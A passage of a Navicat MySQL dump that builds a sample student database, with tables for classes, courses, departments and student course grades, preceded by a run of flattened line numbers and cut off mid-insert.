学生数据表1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147/* Navicat Premium Data Transfer Source Server : 1 Source Server Type : MySQL Source Server Version : 50529 Source Host : localhost:3306 Source Schema : test Target Server Type : MySQL Target Server Version : 50529 File Encoding : 65001 Date: 17/02/2024 15:33:34*/SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;-- ------------------------------ Table structure for class-- ----------------------------DROP TABLE IF EXISTS `class`;CREATE TABLE `class` ( `classno` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `classname` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `speciality` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, `inyear` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `number` int(11) NULL DEFAULT NULL, `header` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `deptno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `monitor` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`classno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of class-- ----------------------------INSERT INTO `class` VALUES ('20060101', '2006级电子1班 ', '机电一体化', '2006', 56, '王军', 'd01', '李婷');INSERT INTO `class` VALUES ('20070101', '2007级电子1班 ', '机电一体化', '2007', 35, '马金玉 ', 'd01', '刘小虎');INSERT INTO `class` VALUES ('20070201', '2007级计算机1班 ', '计算机应用技术', '2007', 42, '马丽', 'd02', '李明明');INSERT INTO `class` VALUES ('20070301', '2007级软件1班 ', '计算机网络技术', '2007', 49, '张亮亮', 'd03', '袁小志 ');INSERT INTO `class` VALUES ('20070302', '2007级软件2班 ', '计算机网络技术', '2007', 48, '孟小娴 ', 'd03', '刘晓雨 ');INSERT INTO `class` VALUES ('20070303', '2007级软件3班 ', '计算机网络技术', '2007', 48, '刘芳 ', 'd03', '袁文晖 ');INSERT INTO `class` VALUES ('20070304', '2007级软件4班 ', '软件技术', '2007', 47, '张萍萍 ', 'd03', '贾子漳 ');INSERT INTO `class` VALUES ('20070305', '2007级软件5班 ', '动漫设计', '2007', 48, '谭国强 ', 'd03', '王勇 ');INSERT INTO `class` VALUES ('20070306', '2007级软件6班 ', '游戏设计', '2007', 39, '张涛 ', 'd03', '王珂珂 ');INSERT INTO `class` VALUES ('20070307', '2007级软件7班 ', '网络系统管理', '2007', 22, '刘永', 'd03', '武英杰 ');-- ------------------------------ Table structure for course-- ----------------------------DROP TABLE IF EXISTS `course`;CREATE TABLE `course` ( `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cname` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, PRIMARY KEY (`cno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of course-- ----------------------------INSERT INTO `course` VALUES ('a01 ', '大学英语');INSERT INTO `course` VALUES ('a02 ', '高等数学');INSERT INTO `course` VALUES ('a03 ', '思想品德教育');INSERT INTO `course` VALUES ('a04 ', '法律基础');INSERT INTO `course` VALUES ('b01 ', '电工基础');INSERT INTO `course` VALUES ('b02 ', '电子技术基础');INSERT INTO `course` VALUES ('b03 ', '电子线路基础');INSERT INTO `course` VALUES ('c01 ', '计算机文化基础');INSERT INTO `course` VALUES ('c02 ', 'C语言程序设计与数据结构');INSERT INTO `course` VALUES ('c03 ', '软件工程');INSERT INTO `course` VALUES ('c04 ', 'JAVA程序设计基础');INSERT INTO `course` VALUES ('c05 ', 'JAVA高级程序设计');INSERT INTO `course` VALUES ('c06 ', '数据库原理及应用');INSERT INTO `course` VALUES ('c07 ', '计算机网络技术');INSERT INTO `course` VALUES ('c08 ', '网页制作技术');INSERT INTO `course` VALUES ('c09 ', 'JAVA项目实训');INSERT INTO `course` VALUES ('c10 ', 'JSP程序设计');INSERT INTO `course` VALUES ('c11 ', '计算机组装与维修');-- ------------------------------ Table structure for department-- ----------------------------DROP TABLE IF EXISTS `department`;CREATE TABLE `department` ( `deptno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `deptname` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `deptheader` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `office` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`deptno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of department-- ----------------------------INSERT INTO `department` VALUES ('d01', '电子工程系 ', '刘晨 ', '一号楼1208 ');INSERT INTO `department` VALUES ('d02', '计算机工程系 ', '王天亮', '二号楼1102 ');INSERT INTO `department` VALUES ('d03', '软件工程系 ', '胡金亭 ', '二号楼1618 ');INSERT INTO `department` VALUES ('d04', '信息工程系 ', '赵美美 ', '二号楼1006 ');INSERT INTO `department` VALUES ('d05', '社科艺术系 ', '刘英杰 ', '三号楼1621 ');INSERT INTO `department` VALUES ('d06', '基础部 ', '赵军军 ', '三号楼1314');-- ------------------------------ Table structure for sc-- ----------------------------DROP TABLE IF EXISTS `sc`;CREATE TABLE `sc` ( `sno` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `degree` decimal(28, 0) NULL DEFAULT NULL, PRIMARY KEY (`sno`, `cno`) USING BTREE, INDEX `a1`(`cno`) USING BTREE, CONSTRAINT `a1` FOREIGN KEY (`cno`) REFERENCES `course` (`cno`) ON DELETE RESTRICT ON UPDATE RESTRICT) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of sc-- ----------------------------INSERT INTO `sc` VALUES ('2007010104', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007010104', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007010104', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007010105', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010105', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010105', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007010106', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007010106', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007010106', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010107', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007010107', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010107', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010108', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007010108', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010108', 'a03 ', 60);INSERT INTO `sc` VALUES ('2007010109', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007010109', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007010109', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010110', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007010110', 'a02 ', 63);INSERT INTO `sc` VALUES ('2007010110', 'a03 ', 74);INSERT INTO `sc` VALUES ('2007010111', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007010111', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010111', 'a03 ', 84);INSERT INTO `sc` VALUES ('2007010112', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007010112', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010112', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007010113', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007010113', 'a02 ', 96);INSERT INTO `sc` VALUES ('2007010113', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010114', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007010114', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010114', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010115', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007010115', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010115', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007010116', 'a01 ', 57);INSERT INTO `sc` VALUES ('2007010116', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007010116', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010117', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007010117', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010117', 'a03 ', 79);INSERT INTO `sc` VALUES ('2007010118', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007010118', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007010118', 'a03 ', 86);INSERT INTO `sc` VALUES ('2007010119', 'a01 ', 55);INSERT INTO `sc` VALUES ('2007010119', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007010119', 'a03 ', 77);INSERT INTO `sc` VALUES ('2007010120', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007010120', 'a02 ', 97);INSERT INTO `sc` VALUES ('2007010120', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010121', 'a01 ', 44);INSERT INTO `sc` VALUES ('2007010121', 'a02 ', 56);INSERT INTO `sc` VALUES ('2007010121', 'a03 ', 60);INSERT INTO `sc` VALUES ('2007010122', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010122', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010122', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010123', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007010123', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007010123', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007010124', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007010124', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010124', 'a03 ', 86);INSERT INTO `sc` VALUES ('2007010125', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010125', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007010125', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010126', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007010126', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010126', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010127', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007010127', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010127', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010128', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007010128', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007010128', 'a03 ', 81);INSERT INTO `sc` VALUES ('2007010129', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007010129', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010129', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007010130', 'a01 ', 91);INSERT INTO `sc` VALUES ('2007010130', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010130', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010131', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007010131', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007010131', 'a03 ', 93);INSERT INTO `sc` VALUES ('2007030101', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030101', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030101', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030101', 'c02 ', 89);INSERT INTO `sc` VALUES ('2007030102', 'a01 ', NULL);INSERT INTO `sc` VALUES ('2007030102', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030102', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030102', 'c02 ', 94);INSERT INTO `sc` VALUES ('2007030103', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030103', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007030103', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030103', 'c02 ', 96);INSERT INTO `sc` VALUES ('2007030104', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007030104', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030104', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030104', 'c02 ', 97);INSERT INTO `sc` VALUES ('2007030105', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030105', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030105', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030105', 'c02 ', 93);INSERT INTO `sc` VALUES ('2007030106', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030106', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030106', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030106', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030107', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030107', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030107', 'c01 ', 82);INSERT INTO `sc` VALUES ('2007030107', 'c02 ', 90);INSERT INTO `sc` VALUES ('2007030108', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030108', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030108', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030108', 'c02 ', 90);INSERT INTO `sc` VALUES ('2007030109', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030109', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030109', 'c01 ', 71);INSERT INTO `sc` VALUES ('2007030109', 'c02 ', 86);INSERT INTO `sc` VALUES ('2007030110', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007030110', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030110', 'c01 ', 75);INSERT INTO `sc` VALUES ('2007030110', 'c02 ', 94);INSERT INTO `sc` VALUES ('2007030111', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030111', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030111', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030111', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030112', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030112', 'a02 ', 66);INSERT INTO `sc` VALUES ('2007030112', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030112', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030113', 'a01 ', 71);INSERT INTO `sc` VALUES ('2007030113', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007030113', 'c01 ', 85);INSERT INTO `sc` VALUES ('2007030113', 'c02 ', 96);INSERT INTO `sc` VALUES ('2007030114', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030114', 'a02 ', 67);INSERT INTO `sc` VALUES ('2007030114', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030114', 'c02 ', 95);INSERT INTO `sc` VALUES ('2007030115', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030115', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007030115', 'c01 ', 67);INSERT INTO `sc` VALUES ('2007030115', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030116', 'a01 ', 89);INSERT INTO `sc` VALUES ('2007030116', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030116', 'c01 ', 74);INSERT INTO `sc` VALUES ('2007030116', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030117', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030117', 'a02 ', 68);INSERT INTO `sc` VALUES ('2007030117', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030117', 'c02 ', 89);INSERT INTO `sc` VALUES ('2007030118', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030118', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030118', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030118', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030119', 'a01 ', 74);INSERT INTO `sc` VALUES ('2007030119', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030119', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030119', 'c02 ', 75);INSERT INTO `sc` VALUES ('2007030120', 'a01 ', 70);INSERT INTO `sc` VALUES ('2007030120', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007030120', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030120', 'c02 ', 87);INSERT INTO `sc` VALUES ('2007030121', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030121', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030121', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030121', 'c02 ', 80);INSERT INTO `sc` VALUES ('2007030122', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030122', 'a02 ', 78);INSERT INTO `sc` VALUES ('2007030122', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030122', 'c02 ', 83);INSERT INTO `sc` VALUES ('2007030123', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030123', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030123', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030123', 'c02 ', 93);INSERT INTO `sc` VALUES ('2007030124', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007030124', 'a02 ', 78);INSERT INTO `sc` VALUES ('2007030124', 'c01 ', 85);INSERT INTO `sc` VALUES ('2007030124', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030125', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007030125', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030125', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030125', 'c02 ', 91);INSERT INTO `sc` VALUES ('2007030126', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030126', 'a02 ', NULL);INSERT INTO `sc` VALUES ('2007030126', 'c01 ', 89);INSERT INTO `sc` VALUES ('2007030126', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030127', 'a01 ', 65);INSERT INTO `sc` VALUES ('2007030127', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007030127', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030127', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030128', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030128', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030128', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030128', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030129', 'a01 ', 68);INSERT INTO `sc` VALUES ('2007030129', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030129', 'c01 ', 76);INSERT INTO `sc` VALUES ('2007030129', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030130', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007030130', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007030130', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030130', 'c02 ', 81);INSERT INTO `sc` VALUES ('2007030131', 'a01 ', 66);INSERT INTO `sc` VALUES ('2007030131', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030131', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030131', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030132', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007030132', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030132', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030132', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030133', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007030133', 'a02 ', 67);INSERT INTO `sc` VALUES ('2007030133', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030133', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030134', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007030134', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030134', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030134', 'c02 ', 71);INSERT INTO `sc` VALUES ('2007030135', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030135', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030135', 'c01 ', 76);INSERT INTO `sc` VALUES ('2007030135', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030136', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030136', 'a02 ', 65);INSERT INTO `sc` VALUES ('2007030136', 'c01 ', NULL);INSERT INTO `sc` VALUES ('2007030136', 'c02 ', 75);INSERT INTO `sc` VALUES ('2007030137', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030137', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030137', 'c01 ', 74);INSERT INTO `sc` VALUES ('2007030137', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030138', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030138', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030138', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030138', 'c02 ', 86);INSERT INTO `sc` VALUES ('2007030139', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030139', 'a02 ', 66);INSERT INTO `sc` VALUES ('2007030139', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030139', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030140', 'a01 ', 70);INSERT INTO `sc` VALUES ('2007030140', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007030140', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030140', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030141', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030141', 'a02 ', 63);INSERT INTO `sc` VALUES ('2007030141', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030141', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030142', 'a01 ', 63);INSERT INTO `sc` VALUES ('2007030142', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007030142', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030142', 'c02 ', 83);INSERT INTO `sc` VALUES ('2007030143', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007030143', 'a02 ', 77);INSERT INTO `sc` VALUES ('2007030143', 'c01 ', 63);INSERT INTO `sc` VALUES ('2007030143', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030144', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030144', 'a02 ', 77);INSERT INTO `sc` VALUES ('2007030144', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030144', 'c02 ', 91);INSERT INTO `sc` VALUES ('2007030145', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007030145', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030145', 'c01 ', 51);INSERT INTO `sc` VALUES ('2007030145', 'c02 ', 74);INSERT INTO `sc` VALUES ('2007030146', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007030146', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030146', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030146', 'c02 ', 71);INSERT INTO `sc` VALUES ('2007030147', 'a01 ', 71);INSERT INTO `sc` VALUES ('2007030147', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030147', 'c01 ', 63);INSERT INTO `sc` VALUES ('2007030147', 'c02 ', 87);INSERT INTO `sc` VALUES ('2007030401', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030401', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030401', 'c01 ', 45);INSERT INTO `sc` VALUES ('2007030401', 'c04 ', 91);INSERT INTO `sc` VALUES ('2007030402', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007030402', 'a03 ', 92);INSERT INTO `sc` VALUES ('2007030402', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030402', 'c04 ', 91);INSERT INTO `sc` VALUES ('2007030403', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030403', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030403', 'c01 ', 86);INSERT INTO `sc` VALUES ('2007030403', 'c04 ', 96);INSERT INTO `sc` VALUES ('2007030404', 'a01 ', 98);INSERT INTO `sc` VALUES ('2007030404', 'a03 ', 96);INSERT INTO `sc` VALUES ('2007030404', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030404', 'c04 ', 89);INSERT INTO `sc` VALUES ('2007030405', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007030405', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030405', 'c01 ', 94);INSERT INTO `sc` VALUES ('2007030405', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030406', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007030406', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030406', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030406', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030407', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030407', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030407', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030407', 'c04 ', 81);INSERT INTO `sc` VALUES ('2007030408', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007030408', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007030408', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030408', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030409', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030409', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030409', 'c01 ', 97);INSERT INTO `sc` VALUES ('2007030409', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030410', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030410', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030410', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030410', 'c04 ', 99);INSERT INTO `sc` VALUES ('2007030411', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030411', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030411', 'c01 ', 53);INSERT INTO `sc` VALUES ('2007030411', 'c04 ', 61);INSERT INTO `sc` VALUES ('2007030412', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030412', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030412', 'c01 ', 82);INSERT INTO `sc` VALUES ('2007030412', 'c04 ', 80);INSERT INTO `sc` VALUES ('2007030413', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007030413', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007030413', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030413', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030414', 'a01 ', 91);INSERT INTO `sc` VALUES ('2007030414', 'a03 ', 95);INSERT INTO `sc` VALUES ('2007030414', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030414', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030415', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030415', 'a03 ', 77);INSERT INTO `sc` VALUES ('2007030415', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030415', 'c04 ', 56);INSERT INTO `sc` VALUES ('2007030416', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030416', 'a03 ', 67);INSERT INTO `sc` VALUES ('2007030416', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030416', 'c04 ', 79);INSERT INTO `sc` 